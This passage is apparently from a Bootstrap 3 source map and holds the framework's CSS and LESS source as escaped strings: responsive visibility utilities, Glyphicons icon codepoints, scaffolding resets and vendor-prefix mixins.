!important;\n}\n.visible-xs-block,\n.visible-xs-inline,\n.visible-xs-inline-block,\n.visible-sm-block,\n.visible-sm-inline,\n.visible-sm-inline-block,\n.visible-md-block,\n.visible-md-inline,\n.visible-md-inline-block,\n.visible-lg-block,\n.visible-lg-inline,\n.visible-lg-inline-block {\n display: none !important;\n}\n@media (max-width: 767px) {\n .visible-xs {\n display: block !important;\n }\n table.visible-xs {\n display: table !important;\n }\n tr.visible-xs {\n display: table-row !important;\n }\n th.visible-xs,\n td.visible-xs {\n display: table-cell !important;\n }\n}\n@media (max-width: 767px) {\n .visible-xs-block {\n display: block !important;\n }\n}\n@media (max-width: 767px) {\n .visible-xs-inline {\n display: inline !important;\n }\n}\n@media (max-width: 767px) {\n .visible-xs-inline-block {\n display: inline-block !important;\n }\n}\n@media (min-width: 768px) and (max-width: 991px) {\n .visible-sm {\n display: block !important;\n }\n table.visible-sm {\n display: table !important;\n }\n tr.visible-sm {\n display: table-row !important;\n }\n th.visible-sm,\n td.visible-sm {\n display: table-cell !important;\n }\n}\n@media (min-width: 768px) and (max-width: 991px) {\n .visible-sm-block {\n display: block !important;\n }\n}\n@media (min-width: 768px) and (max-width: 991px) {\n .visible-sm-inline {\n display: inline !important;\n }\n}\n@media (min-width: 768px) and (max-width: 991px) {\n .visible-sm-inline-block {\n display: inline-block !important;\n }\n}\n@media (min-width: 992px) and (max-width: 1199px) {\n .visible-md {\n display: block !important;\n }\n table.visible-md {\n display: table !important;\n }\n tr.visible-md {\n display: table-row !important;\n }\n th.visible-md,\n td.visible-md {\n display: table-cell !important;\n }\n}\n@media (min-width: 992px) and (max-width: 1199px) {\n .visible-md-block {\n display: block !important;\n }\n}\n@media (min-width: 992px) and (max-width: 1199px) {\n .visible-md-inline {\n display: inline !important;\n }\n}\n@media (min-width: 992px) and (max-width: 1199px) {\n .visible-md-inline-block {\n display: inline-block !important;\n }\n}\n@media (min-width: 1200px) {\n .visible-lg {\n display: block !important;\n }\n table.visible-lg {\n display: table !important;\n }\n tr.visible-lg {\n display: table-row !important;\n }\n th.visible-lg,\n td.visible-lg {\n display: table-cell !important;\n }\n}\n@media (min-width: 1200px) {\n .visible-lg-block {\n display: block !important;\n }\n}\n@media (min-width: 1200px) {\n .visible-lg-inline {\n display: inline !important;\n }\n}\n@media (min-width: 1200px) {\n .visible-lg-inline-block {\n display: inline-block !important;\n }\n}\n@media (max-width: 767px) {\n .hidden-xs {\n display: none !important;\n }\n}\n@media (min-width: 768px) and (max-width: 991px) {\n .hidden-sm {\n display: none !important;\n }\n}\n@media (min-width: 992px) and (max-width: 1199px) {\n .hidden-md {\n display: none !important;\n }\n}\n@media (min-width: 1200px) {\n .hidden-lg {\n display: none !important;\n }\n}\n.visible-print {\n display: none !important;\n}\n@media print {\n .visible-print {\n display: block !important;\n }\n table.visible-print {\n display: table !important;\n }\n tr.visible-print {\n display: table-row !important;\n }\n th.visible-print,\n td.visible-print {\n display: table-cell !important;\n }\n}\n.visible-print-block {\n display: none !important;\n}\n@media print {\n .visible-print-block {\n display: block !important;\n }\n}\n.visible-print-inline {\n display: none !important;\n}\n@media print {\n .visible-print-inline {\n display: inline !important;\n }\n}\n.visible-print-inline-block {\n display: none !important;\n}\n@media print {\n .visible-print-inline-block {\n display: inline-block !important;\n }\n}\n@media print {\n .hidden-print {\n display: none !important;\n }\n}\n/*# sourceMappingURL=bootstrap.css.map */\n","//\n// Glyphicons for Bootstrap\n//\n// Since icons are fonts, they can be placed anywhere text is placed and are\n// thus automatically sized to match the surrounding child. To use, create an\n// inline element with the appropriate classes, like so:\n//\n// Star\n\n// Import the fonts\n@font-face {\n font-family: 'Glyphicons Halflings';\n src: url('@{icon-font-path}@{icon-font-name}.eot');\n src: url('@{icon-font-path}@{icon-font-name}.eot?#iefix') format('embedded-opentype'),\n url('@{icon-font-path}@{icon-font-name}.woff2') format('woff2'),\n url('@{icon-font-path}@{icon-font-name}.woff') format('woff'),\n url('@{icon-font-path}@{icon-font-name}.ttf') format('truetype'),\n url('@{icon-font-path}@{icon-font-name}.svg#@{icon-font-svg-id}') format('svg');\n}\n\n// Catchall baseclass\n.glyphicon {\n position: relative;\n top: 1px;\n display: inline-block;\n font-family: 'Glyphicons Halflings';\n font-style: normal;\n font-weight: normal;\n line-height: 1;\n -webkit-font-smoothing: antialiased;\n -moz-osx-font-smoothing: grayscale;\n}\n\n// Individual icons\n.glyphicon-asterisk { &:before { content: \"\\002a\"; } }\n.glyphicon-plus { &:before { content: \"\\002b\"; } }\n.glyphicon-euro,\n.glyphicon-eur { &:before { content: \"\\20ac\"; } }\n.glyphicon-minus { &:before { content: \"\\2212\"; } }\n.glyphicon-cloud { &:before { content: \"\\2601\"; } }\n.glyphicon-envelope { &:before { content: \"\\2709\"; } }\n.glyphicon-pencil { &:before { content: \"\\270f\"; } }\n.glyphicon-glass { &:before { content: \"\\e001\"; } }\n.glyphicon-music { &:before { content: \"\\e002\"; } }\n.glyphicon-search { &:before { content: \"\\e003\"; } }\n.glyphicon-heart { &:before { content: \"\\e005\"; } }\n.glyphicon-star { &:before { content: \"\\e006\"; } }\n.glyphicon-star-empty { &:before { content: \"\\e007\"; } }\n.glyphicon-user { &:before { content: \"\\e008\"; } }\n.glyphicon-film { &:before { content: \"\\e009\"; } }\n.glyphicon-th-large { &:before { content: \"\\e010\"; } }\n.glyphicon-th { &:before { content: \"\\e011\"; } }\n.glyphicon-th-list { &:before { content: \"\\e012\"; } }\n.glyphicon-ok { &:before { content: \"\\e013\"; } }\n.glyphicon-remove { &:before { content: \"\\e014\"; } }\n.glyphicon-zoom-in { &:before { content: \"\\e015\"; } }\n.glyphicon-zoom-out { &:before { content: \"\\e016\"; } }\n.glyphicon-off { &:before { content: \"\\e017\"; } }\n.glyphicon-signal { &:before { content: \"\\e018\"; } }\n.glyphicon-cog { &:before { content: \"\\e019\"; } }\n.glyphicon-trash { &:before { content: \"\\e020\"; } }\n.glyphicon-home { &:before { content: \"\\e021\"; } }\n.glyphicon-file { &:before { content: \"\\e022\"; } }\n.glyphicon-time { &:before { content: \"\\e023\"; } }\n.glyphicon-road { &:before { content: \"\\e024\"; } }\n.glyphicon-download-alt { &:before { content: \"\\e025\"; } }\n.glyphicon-download { &:before { content: \"\\e026\"; } }\n.glyphicon-upload { &:before { content: \"\\e027\"; } }\n.glyphicon-inbox { &:before { content: \"\\e028\"; } }\n.glyphicon-play-circle { &:before { content: \"\\e029\"; } }\n.glyphicon-repeat { &:before { content: \"\\e030\"; } }\n.glyphicon-refresh { &:before { content: \"\\e031\"; } }\n.glyphicon-list-alt { &:before { content: \"\\e032\"; } }\n.glyphicon-lock { &:before { content: \"\\e033\"; } }\n.glyphicon-flag { &:before { content: \"\\e034\"; } }\n.glyphicon-headphones { &:before { content: \"\\e035\"; } }\n.glyphicon-volume-off { &:before { content: \"\\e036\"; } }\n.glyphicon-volume-down { &:before { content: \"\\e037\"; } }\n.glyphicon-volume-up { &:before { content: \"\\e038\"; } }\n.glyphicon-qrcode { &:before { content: \"\\e039\"; } }\n.glyphicon-barcode { &:before { content: \"\\e040\"; } }\n.glyphicon-tag { &:before { content: \"\\e041\"; } }\n.glyphicon-tags { &:before { content: \"\\e042\"; } }\n.glyphicon-book { &:before { content: \"\\e043\"; } }\n.glyphicon-bookmark { &:before { content: \"\\e044\"; } }\n.glyphicon-print { &:before { content: \"\\e045\"; } }\n.glyphicon-camera { &:before { content: \"\\e046\"; } }\n.glyphicon-font { &:before { content: \"\\e047\"; } }\n.glyphicon-bold { &:before { content: \"\\e048\"; } }\n.glyphicon-italic { &:before { content: \"\\e049\"; } }\n.glyphicon-text-height { &:before { content: \"\\e050\"; } }\n.glyphicon-text-width { &:before { content: \"\\e051\"; } }\n.glyphicon-align-left { &:before { content: \"\\e052\"; } }\n.glyphicon-align-center { &:before { content: \"\\e053\"; } }\n.glyphicon-align-right { &:before { content: \"\\e054\"; } }\n.glyphicon-align-justify { &:before { content: \"\\e055\"; } }\n.glyphicon-list { &:before { content: \"\\e056\"; } }\n.glyphicon-indent-left { &:before { content: \"\\e057\"; } }\n.glyphicon-indent-right { &:before { content: \"\\e058\"; } }\n.glyphicon-facetime-video { &:before { content: \"\\e059\"; } }\n.glyphicon-picture { &:before { content: \"\\e060\"; } }\n.glyphicon-map-marker { &:before { content: \"\\e062\"; } }\n.glyphicon-adjust { &:before { content: \"\\e063\"; } }\n.glyphicon-tint { &:before { content: \"\\e064\"; } }\n.glyphicon-edit { &:before { content: \"\\e065\"; } }\n.glyphicon-share { &:before { content: \"\\e066\"; } }\n.glyphicon-check { &:before { content: \"\\e067\"; } }\n.glyphicon-move { &:before { content: \"\\e068\"; } }\n.glyphicon-step-backward { &:before { content: \"\\e069\"; } }\n.glyphicon-fast-backward { &:before { content: \"\\e070\"; } }\n.glyphicon-backward { &:before { content: \"\\e071\"; } }\n.glyphicon-play { &:before { content: \"\\e072\"; } }\n.glyphicon-pause { &:before { content: \"\\e073\"; } }\n.glyphicon-stop { &:before { content: \"\\e074\"; } }\n.glyphicon-forward { &:before { content: \"\\e075\"; } }\n.glyphicon-fast-forward { &:before { content: \"\\e076\"; } }\n.glyphicon-step-forward { &:before { content: \"\\e077\"; } }\n.glyphicon-eject { &:before { content: \"\\e078\"; } }\n.glyphicon-chevron-left { &:before { content: \"\\e079\"; } }\n.glyphicon-chevron-right { &:before { content: \"\\e080\"; } }\n.glyphicon-plus-sign { &:before { content: \"\\e081\"; } }\n.glyphicon-minus-sign { &:before { content: \"\\e082\"; } }\n.glyphicon-remove-sign { &:before { content: \"\\e083\"; } }\n.glyphicon-ok-sign { &:before { content: \"\\e084\"; } }\n.glyphicon-question-sign { &:before { content: \"\\e085\"; } }\n.glyphicon-info-sign { &:before { content: \"\\e086\"; } }\n.glyphicon-screenshot { &:before { content: \"\\e087\"; } }\n.glyphicon-remove-circle { &:before { content: \"\\e088\"; } }\n.glyphicon-ok-circle { &:before { content: \"\\e089\"; } }\n.glyphicon-ban-circle { &:before { content: \"\\e090\"; } }\n.glyphicon-arrow-left { &:before { content: \"\\e091\"; } }\n.glyphicon-arrow-right { &:before { content: \"\\e092\"; } }\n.glyphicon-arrow-up { &:before { content: \"\\e093\"; } }\n.glyphicon-arrow-down { &:before { content: \"\\e094\"; } }\n.glyphicon-share-alt { &:before { content: \"\\e095\"; } }\n.glyphicon-resize-full { &:before { content: \"\\e096\"; } }\n.glyphicon-resize-small { &:before { content: \"\\e097\"; } }\n.glyphicon-exclamation-sign { &:before { content: \"\\e101\"; } }\n.glyphicon-gift { &:before { content: \"\\e102\"; } }\n.glyphicon-leaf { &:before { content: \"\\e103\"; } }\n.glyphicon-fire { &:before { content: \"\\e104\"; } }\n.glyphicon-eye-open { &:before { content: \"\\e105\"; } }\n.glyphicon-eye-close { &:before { content: \"\\e106\"; } }\n.glyphicon-warning-sign { &:before { content: \"\\e107\"; } }\n.glyphicon-plane { &:before { content: \"\\e108\"; } }\n.glyphicon-calendar { &:before { content: \"\\e109\"; } }\n.glyphicon-random { &:before { content: \"\\e110\"; } }\n.glyphicon-comment { &:before { content: \"\\e111\"; } }\n.glyphicon-magnet { &:before { content: \"\\e112\"; } }\n.glyphicon-chevron-up { &:before { content: \"\\e113\"; } }\n.glyphicon-chevron-down { &:before { content: \"\\e114\"; } }\n.glyphicon-retweet { &:before { content: \"\\e115\"; } }\n.glyphicon-shopping-cart { &:before { content: \"\\e116\"; } }\n.glyphicon-folder-close { &:before { content: \"\\e117\"; } }\n.glyphicon-folder-open { &:before { content: \"\\e118\"; } }\n.glyphicon-resize-vertical { &:before { content: \"\\e119\"; } }\n.glyphicon-resize-horizontal { &:before { content: \"\\e120\"; } }\n.glyphicon-hdd { &:before { content: \"\\e121\"; } }\n.glyphicon-bullhorn { &:before { content: \"\\e122\"; } }\n.glyphicon-bell { &:before { content: \"\\e123\"; } }\n.glyphicon-certificate { &:before { content: \"\\e124\"; } }\n.glyphicon-thumbs-up { &:before { content: \"\\e125\"; } }\n.glyphicon-thumbs-down { &:before { content: \"\\e126\"; } }\n.glyphicon-hand-right { &:before { content: \"\\e127\"; } }\n.glyphicon-hand-left { &:before { content: \"\\e128\"; } }\n.glyphicon-hand-up { &:before { content: \"\\e129\"; } }\n.glyphicon-hand-down { &:before { content: \"\\e130\"; } }\n.glyphicon-circle-arrow-right { &:before { content: \"\\e131\"; } }\n.glyphicon-circle-arrow-left { &:before { content: \"\\e132\"; } }\n.glyphicon-circle-arrow-up { &:before { content: \"\\e133\"; } }\n.glyphicon-circle-arrow-down { &:before { content: \"\\e134\"; } }\n.glyphicon-globe { &:before { content: \"\\e135\"; } }\n.glyphicon-wrench { &:before { content: \"\\e136\"; } }\n.glyphicon-tasks { &:before { content: \"\\e137\"; } }\n.glyphicon-filter { &:before { content: \"\\e138\"; } }\n.glyphicon-briefcase { &:before { content: \"\\e139\"; } }\n.glyphicon-fullscreen { &:before { content: \"\\e140\"; } }\n.glyphicon-dashboard { &:before { content: \"\\e141\"; } }\n.glyphicon-paperclip { &:before { content: \"\\e142\"; } }\n.glyphicon-heart-empty { &:before { content: \"\\e143\"; } }\n.glyphicon-link { &:before { content: \"\\e144\"; } }\n.glyphicon-phone { &:before { content: \"\\e145\"; } }\n.glyphicon-pushpin { &:before { content: \"\\e146\"; } }\n.glyphicon-usd { &:before { content: \"\\e148\"; } }\n.glyphicon-gbp { &:before { content: \"\\e149\"; } }\n.glyphicon-sort { &:before { content: \"\\e150\"; } }\n.glyphicon-sort-by-alphabet { &:before { content: \"\\e151\"; } }\n.glyphicon-sort-by-alphabet-alt { &:before { content: \"\\e152\"; } }\n.glyphicon-sort-by-order { &:before { content: \"\\e153\"; } }\n.glyphicon-sort-by-order-alt { &:before { content: \"\\e154\"; } }\n.glyphicon-sort-by-attributes { &:before { content: \"\\e155\"; } }\n.glyphicon-sort-by-attributes-alt { &:before { content: \"\\e156\"; } }\n.glyphicon-unchecked { &:before { content: \"\\e157\"; } }\n.glyphicon-expand { &:before { content: \"\\e158\"; } }\n.glyphicon-collapse-down { &:before { content: \"\\e159\"; } }\n.glyphicon-collapse-up { &:before { content: \"\\e160\"; } }\n.glyphicon-log-in { &:before { content: \"\\e161\"; } }\n.glyphicon-flash { &:before { content: \"\\e162\"; } }\n.glyphicon-log-out { &:before { content: \"\\e163\"; } }\n.glyphicon-new-window { &:before { content: \"\\e164\"; } }\n.glyphicon-record { &:before { content: \"\\e165\"; } }\n.glyphicon-save { &:before { content: \"\\e166\"; } }\n.glyphicon-open { &:before { content: \"\\e167\"; } }\n.glyphicon-saved { &:before { content: \"\\e168\"; } }\n.glyphicon-import { &:before { content: \"\\e169\"; } }\n.glyphicon-export { &:before { content: \"\\e170\"; } }\n.glyphicon-send { &:before { content: \"\\e171\"; } }\n.glyphicon-floppy-disk { &:before { content: \"\\e172\"; } }\n.glyphicon-floppy-saved { &:before { content: \"\\e173\"; } }\n.glyphicon-floppy-remove { &:before { content: \"\\e174\"; } }\n.glyphicon-floppy-save { &:before { content: \"\\e175\"; } }\n.glyphicon-floppy-open { &:before { content: \"\\e176\"; } }\n.glyphicon-credit-card { &:before { content: \"\\e177\"; } }\n.glyphicon-transfer { &:before { content: \"\\e178\"; } }\n.glyphicon-cutlery { &:before { content: \"\\e179\"; } }\n.glyphicon-header { &:before { content: \"\\e180\"; } }\n.glyphicon-compressed { &:before { content: \"\\e181\"; } }\n.glyphicon-earphone { &:before { content: \"\\e182\"; } }\n.glyphicon-phone-alt { &:before { content: \"\\e183\"; } }\n.glyphicon-tower { &:before { content: \"\\e184\"; } }\n.glyphicon-stats { &:before { content: \"\\e185\"; } }\n.glyphicon-sd-video { &:before { content: \"\\e186\"; } }\n.glyphicon-hd-video { &:before { content: \"\\e187\"; } }\n.glyphicon-subtitles { &:before { content: \"\\e188\"; } }\n.glyphicon-sound-stereo { &:before { content: \"\\e189\"; } }\n.glyphicon-sound-dolby { &:before { content: \"\\e190\"; } }\n.glyphicon-sound-5-1 { &:before { content: \"\\e191\"; } }\n.glyphicon-sound-6-1 { &:before { content: \"\\e192\"; } }\n.glyphicon-sound-7-1 { &:before { content: \"\\e193\"; } }\n.glyphicon-copyright-mark { &:before { content: \"\\e194\"; } }\n.glyphicon-registration-mark { &:before { content: \"\\e195\"; } }\n.glyphicon-cloud-download { &:before { content: \"\\e197\"; } }\n.glyphicon-cloud-upload { &:before { content: \"\\e198\"; } }\n.glyphicon-tree-conifer { &:before { content: \"\\e199\"; } }\n.glyphicon-tree-deciduous { &:before { content: \"\\e200\"; } }\n.glyphicon-cd { &:before { content: \"\\e201\"; } }\n.glyphicon-save-file { &:before { content: \"\\e202\"; } }\n.glyphicon-open-file { &:before { content: \"\\e203\"; } }\n.glyphicon-level-up { &:before { content: \"\\e204\"; } }\n.glyphicon-copy { &:before { content: \"\\e205\"; } }\n.glyphicon-paste { &:before { content: \"\\e206\"; } }\n// The following 2 Glyphicons are omitted for the time being because\n// they currently use Unicode codepoints that are outside the\n// Basic Multilingual Plane (BMP). Older buggy versions of WebKit can't handle\n// non-BMP codepoints in CSS string escapes, and thus can't display these two icons.\n// Notably, the bug affects some older versions of the Android Browser.\n// More info: https://github.com/twbs/bootstrap/issues/10106\n// .glyphicon-door { &:before { content: \"\\1f6aa\"; } }\n// .glyphicon-key { &:before { content: \"\\1f511\"; } }\n.glyphicon-alert { &:before { content: \"\\e209\"; } }\n.glyphicon-equalizer { &:before { content: \"\\e210\"; } }\n.glyphicon-king { &:before { content: \"\\e211\"; } }\n.glyphicon-queen { &:before { content: \"\\e212\"; } }\n.glyphicon-pawn { &:before { content: \"\\e213\"; } }\n.glyphicon-bishop { &:before { content: \"\\e214\"; } }\n.glyphicon-knight { &:before { content: \"\\e215\"; } }\n.glyphicon-baby-formula { &:before { content: \"\\e216\"; } }\n.glyphicon-tent { &:before { content: \"\\26fa\"; } }\n.glyphicon-blackboard { &:before { content: \"\\e218\"; } }\n.glyphicon-bed { &:before { content: \"\\e219\"; } }\n.glyphicon-apple { &:before { content: \"\\f8ff\"; } }\n.glyphicon-erase { &:before { content: \"\\e221\"; } }\n.glyphicon-hourglass { &:before { content: \"\\231b\"; } }\n.glyphicon-lamp { &:before { content: \"\\e223\"; } }\n.glyphicon-duplicate { &:before { content: \"\\e224\"; } }\n.glyphicon-piggy-bank { &:before { content: \"\\e225\"; } }\n.glyphicon-scissors { &:before { content: \"\\e226\"; } }\n.glyphicon-bitcoin { &:before { content: \"\\e227\"; } }\n.glyphicon-btc { &:before { content: \"\\e227\"; } }\n.glyphicon-xbt { &:before { content: \"\\e227\"; } }\n.glyphicon-yen { &:before { content: \"\\00a5\"; } }\n.glyphicon-jpy { &:before { content: \"\\00a5\"; } }\n.glyphicon-ruble { &:before { content: \"\\20bd\"; } }\n.glyphicon-rub { &:before { content: \"\\20bd\"; } }\n.glyphicon-scale { &:before { content: \"\\e230\"; } }\n.glyphicon-ice-lolly { &:before { content: \"\\e231\"; } }\n.glyphicon-ice-lolly-tasted { &:before { content: \"\\e232\"; } }\n.glyphicon-education { &:before { content: \"\\e233\"; } }\n.glyphicon-option-horizontal { &:before { content: \"\\e234\"; } }\n.glyphicon-option-vertical { &:before { content: \"\\e235\"; } }\n.glyphicon-menu-hamburger { &:before { content: \"\\e236\"; } }\n.glyphicon-modal-window { &:before { content: \"\\e237\"; } }\n.glyphicon-oil { &:before { content: \"\\e238\"; } }\n.glyphicon-grain { &:before { content: \"\\e239\"; } }\n.glyphicon-sunglasses { &:before { content: \"\\e240\"; } }\n.glyphicon-text-size { &:before { content: \"\\e241\"; } }\n.glyphicon-text-color { &:before { content: \"\\e242\"; } }\n.glyphicon-text-background { &:before { content: \"\\e243\"; } }\n.glyphicon-object-align-top { &:before { content: \"\\e244\"; } }\n.glyphicon-object-align-bottom { &:before { content: \"\\e245\"; } }\n.glyphicon-object-align-horizontal{ &:before { content: \"\\e246\"; } }\n.glyphicon-object-align-left { &:before { content: \"\\e247\"; } }\n.glyphicon-object-align-vertical { &:before { content: \"\\e248\"; } }\n.glyphicon-object-align-right { &:before { content: \"\\e249\"; } }\n.glyphicon-triangle-right { &:before { content: \"\\e250\"; } }\n.glyphicon-triangle-left { &:before { content: \"\\e251\"; } }\n.glyphicon-triangle-bottom { &:before { content: \"\\e252\"; } }\n.glyphicon-triangle-top { &:before { content: \"\\e253\"; } }\n.glyphicon-console { &:before { content: \"\\e254\"; } }\n.glyphicon-superscript { &:before { content: \"\\e255\"; } }\n.glyphicon-subscript { &:before { content: \"\\e256\"; } }\n.glyphicon-menu-left { &:before { content: \"\\e257\"; } }\n.glyphicon-menu-right { &:before { content: \"\\e258\"; } }\n.glyphicon-menu-down { &:before { content: \"\\e259\"; } }\n.glyphicon-menu-up { &:before { content: \"\\e260\"; } }\n","//\n// Scaffolding\n// --------------------------------------------------\n\n\n// Reset the box-sizing\n//\n// Heads up! This reset may cause conflicts with some third-party widgets.\n// For recommendations on resolving such conflicts, see\n// http://getbootstrap.com/getting-started/#third-box-sizing\n* {\n .box-sizing(border-box);\n}\n*:before,\n*:after {\n .box-sizing(border-box);\n}\n\n\n// Body reset\n\nhtml {\n font-size: 10px;\n -webkit-tap-highlight-color: rgba(0,0,0,0);\n}\n\nbody {\n font-family: @font-family-base;\n font-size: @font-size-base;\n line-height: @line-height-base;\n color: @text-color;\n background-color: @body-bg;\n}\n\n// Reset fonts for relevant elements\ninput,\nbutton,\nselect,\ntextarea {\n font-family: inherit;\n font-size: inherit;\n line-height: inherit;\n}\n\n\n// Links\n\na {\n color: @link-color;\n text-decoration: none;\n\n &:hover,\n &:focus {\n color: @link-hover-color;\n text-decoration: @link-hover-decoration;\n }\n\n &:focus {\n .tab-focus();\n }\n}\n\n\n// Figures\n//\n// We reset this here because previously Normalize had no `figure` margins. This\n// ensures we don't break anyone's use of the element.\n\nfigure {\n margin: 0;\n}\n\n\n// Images\n\nimg {\n vertical-align: middle;\n}\n\n// Responsive images (ensure images don't scale beyond their parents)\n.img-responsive {\n .img-responsive();\n}\n\n// Rounded corners\n.img-rounded {\n border-radius: @border-radius-large;\n}\n\n// Image thumbnails\n//\n// Heads up! This is mixin-ed into thumbnails.less for `.thumbnail`.\n.img-thumbnail {\n padding: @thumbnail-padding;\n line-height: @line-height-base;\n background-color: @thumbnail-bg;\n border: 1px solid @thumbnail-border;\n border-radius: @thumbnail-border-radius;\n .transition(all .2s ease-in-out);\n\n // Keep them at most 100% wide\n .img-responsive(inline-block);\n}\n\n// Perfect circle\n.img-circle {\n border-radius: 50%; // set radius in percents\n}\n\n\n// Horizontal rules\n\nhr {\n margin-top: @line-height-computed;\n margin-bottom: @line-height-computed;\n border: 0;\n border-top: 1px solid @hr-border;\n}\n\n\n// Only display content to screen readers\n//\n// See: http://a11yproject.com/posts/how-to-hide-content\n\n.sr-only {\n position: absolute;\n width: 1px;\n height: 1px;\n margin: -1px;\n padding: 0;\n overflow: hidden;\n clip: rect(0,0,0,0);\n border: 0;\n}\n\n// Use in conjunction with .sr-only to only display content when it's focused.\n// Useful for \"Skip to main content\" links; see http://www.w3.org/TR/2013/NOTE-WCAG20-TECHS-20130905/G1\n// Credit: HTML5 Boilerplate\n\n.sr-only-focusable {\n &:active,\n &:focus {\n position: static;\n width: auto;\n height: auto;\n margin: 0;\n overflow: visible;\n clip: auto;\n }\n}\n\n\n// iOS \"clickable elements\" fix for role=\"button\"\n//\n// Fixes \"clickability\" issue (and more generally, the firing of events such as focus as well)\n// for traditionally non-focusable elements with role=\"button\"\n// see https://developer.mozilla.org/en-US/docs/Web/Events/click#Safari_Mobile\n\n[role=\"button\"] {\n cursor: pointer;\n}\n","// Vendor Prefixes\n//\n// All vendor mixins are deprecated as of v3.2.0 due to the introduction of\n// Autoprefixer in our Gruntfile. They have been removed in v4.\n\n// - Animations\n// - Backface visibility\n// - Box shadow\n// - Box sizing\n// - Content columns\n// - Hyphens\n// - Placeholder text\n// - Transformations\n// - Transitions\n// - User Select\n\n\n// Animations\n.animation(@animation) {\n -webkit-animation: @animation;\n -o-animation: @animation;\n animation: @animation;\n}\n.animation-name(@name) {\n -webkit-animation-name: @name;\n animation-name: @name;\n}\n.animation-duration(@duration) {\n -webkit-animation-duration: @duration;\n animation-duration: @duration;\n}\n.animation-timing-function(@timing-function) {\n -webkit-animation-timing-function: @timing-function;\n animation-timing-function: @timing-function;\n}\n.animation-delay(@delay) {\n -webkit-animation-delay: @delay;\n animation-delay: @delay;\n}\n.animation-iteration-count(@iteration-count) {\n -webkit-animation-iteration-count: @iteration-count;\n animation-iteration-count: @iteration-count;\n}\n.animation-direction(@direction) {\n -webkit-animation-direction: @direction;\n animation-direction: @direction;\n}\n.animation-fill-mode(@fill-mode) {\n -webkit-animation-fill-mode: @fill-mode;\n animation-fill-mode: @fill-mode;\n}\n\n// Backface visibility\n// Prevent browsers from flickering when using CSS 3D transforms.\n// Default value is `visible`, but can be changed to `hidden`\n\n.backface-visibility(@visibility) {\n -webkit-backface-visibility: @visibility;\n -moz-backface-visibility: @visibility;\n backface-visibility: @visibility;\n}\n\n// Drop shadows\n//\n// Note: Deprecated `.box-shadow()` as of v3.1.0 since all of Bootstrap's\n// supported browsers that have box shadow capabilities now support it.\n\n.box-shadow(@shadow) {\n -webkit-box-shadow: @shadow; // iOS <4.3 & Android <4.1\n box-shadow: @shadow;\n}\n\n// Box sizing\n.box-sizing(@boxmodel) {\n -webkit-box-sizing: @boxmodel;\n -moz-box-sizing: @boxmodel;\n box-sizing: @boxmodel;\n}\n\n// CSS3 Content Columns\n.content-columns(@column-count; @column-gap: @grid-gutter-width) {\n -webkit-column-count: @column-count;\n -moz-column-count: @column-count;\n column-count: @column-count;\n -webkit-column-gap: @column-gap;\n -moz-column-gap: @column-gap;\n column-gap: @column-gap;\n}\n\n// Optional hyphenation\n.hyphens(@mode: auto) {\n word-wrap: break-word;\n -webkit-hyphens: @mode;\n -moz-hyphens: @mode;\n -ms-hyphens: @mode; // IE10+\n -o-hyphens: @mode;\n hyphens: @mode;\n}\n\n// Placeholder text\n.placeholder(@color: @input-color-placeholder) {\n // Firefox\n &::-moz-placeholder {\n color: @color;\n opacity: 1; // Override Firefox's unusual default opacity; see https://github.com/twbs/bootstrap/pull/11526\n }\n &:-ms-input-placeholder { color: @color; } // Internet Explorer 10+\n &::-webkit-input-placeholder { color: @color; } // Safari and Chrome\n}\n\n// Transformations\n.scale(@ratio) {\n -webkit-transform: scale(@ratio);\n -ms-transform: scale(@ratio); // IE9 only\n -o-transform: scale(@ratio);\n transform: scale(@ratio);\n}\n.scale(@ratioX; @ratioY) {\n -webkit-transform: scale(@ratioX, @ratioY);\n -ms-transform: scale(@ratioX, @ratioY); // IE9 only\n -o-transform: scale(@ratioX, @ratioY);\n transform: scale(@ratioX, @ratioY);\n}\n.scaleX(@ratio) {\n -webkit-transform: scaleX(@ratio);\n -ms-transform: scaleX(@ratio); // IE9 only\n -o-transform: scaleX(@ratio);\n transform: scaleX(@ratio);\n}\n.scaleY(@ratio) {\n -webkit-transform: scaleY(@ratio);\n -ms-transform: scaleY(@ratio); // IE9 only\n -o-transform: scaleY(@ratio);\n transform: scaleY(@ratio);\n}\n.skew(@x; @y) {\n -webkit-transform: skewX(@x) skewY(@y);\n -ms-transform: skewX(@x) skewY(@y); // See https://github.com/twbs/bootstrap/issues/4885; IE9+\n -o-transform: skewX(@x) skewY(@y);\n transform: skewX(@x) skewY(@y);\n}\n.translate(@x; @y) {\n -webkit-transform: translate(@x, @y);\n -ms-transform: translate(@x, @y); // IE9 only\n -o-transform: translate(@x, @y);\n transform: translate(@x, @y);\n}\n.translate3d(@x; @y; @z) {\n -webkit-transform: translate3d(@x, @y, @z);\n transform: translate3d(@x, @y, @z);\n}\n.rotate(@degrees) {\n -webkit-transform: rotate(@degrees);\n -ms-transform: rotate(@degrees); // IE9 only\n -o-transform: rotate(@degrees);\n transform: rotate(@degrees);\n}\n.rotateX(@degrees) {\n -webkit-transform: rotateX(@degrees);\n -ms-transform: rotateX(@degrees); // IE9 only\n -o-transform: rotateX(@degrees);\n transform: rotateX(@degrees);\n}\n.rotateY(@degrees) {\n -webkit-transform: rotateY(@degrees);\n -ms-transform: rotateY(@degrees); // IE9 only\n -o-transform: rotateY(@degrees);\n transform: rotateY(@degrees);\n}\n.perspective(@perspective) {\n -webkit-perspective: @perspective;\n -moz-perspective: @perspective;\n perspective: @perspective;\n}\n.perspective-origin(@perspective) {\n -webkit-perspective-origin: @perspective;\n -moz-perspective-origin: @perspective;\n perspective-origin: @perspective;\n}\n.transform-origin(@origin) {\n -webkit-transform-origin: @origin;\n -moz-transform-origin: @origin;\n -ms-transform-origin: @origin; // IE9 only\n transform-origin: @origin;\n}\n\n\n// Transitions\n\n.transition(@transition) {\n -webkit-transition: @transition;\n -o-transition: @transition;\n transition: @transition;\n}\n.transition-property(@transition-property) {\n -webkit-transition-property: @transition-property;\n transition-property: @transition-property;\n}\n.transition-delay(@transition-delay) {\n -webkit-transition-delay: @transition-delay;\n transition-delay: @transition-delay;\n}\n.transition-duration(@transition-duration) {\n -webkit-transition-duration: @transition-duration;\n transition-duration: @transition-duration;\n}\n.transition-timing-function(@timing-function) {\n -webkit-transition-timing-function: @timing-function;\n transition-timing-function: @timing-function;\n}\n.transition-transform(@transition) {\n -webkit-transition: -webkit-transform @transition;\n -moz-transition: -moz-transform @transition;\n -o-transition: -o-transform @transition;\n transition: transform @transition;\n}\n\n\n// User select\n// For selecting text on the page\n\n.user-select(@select) {\n -webkit-user-select: @select;\n -moz-user-select: @select;\n -ms-user-select: @select; // IE10+\n user-select: @select;\n}\n","// WebKit-style focus\n\n.tab-focus() {\n // WebKit-specific. Other browsers will keep their default outline style.\n // 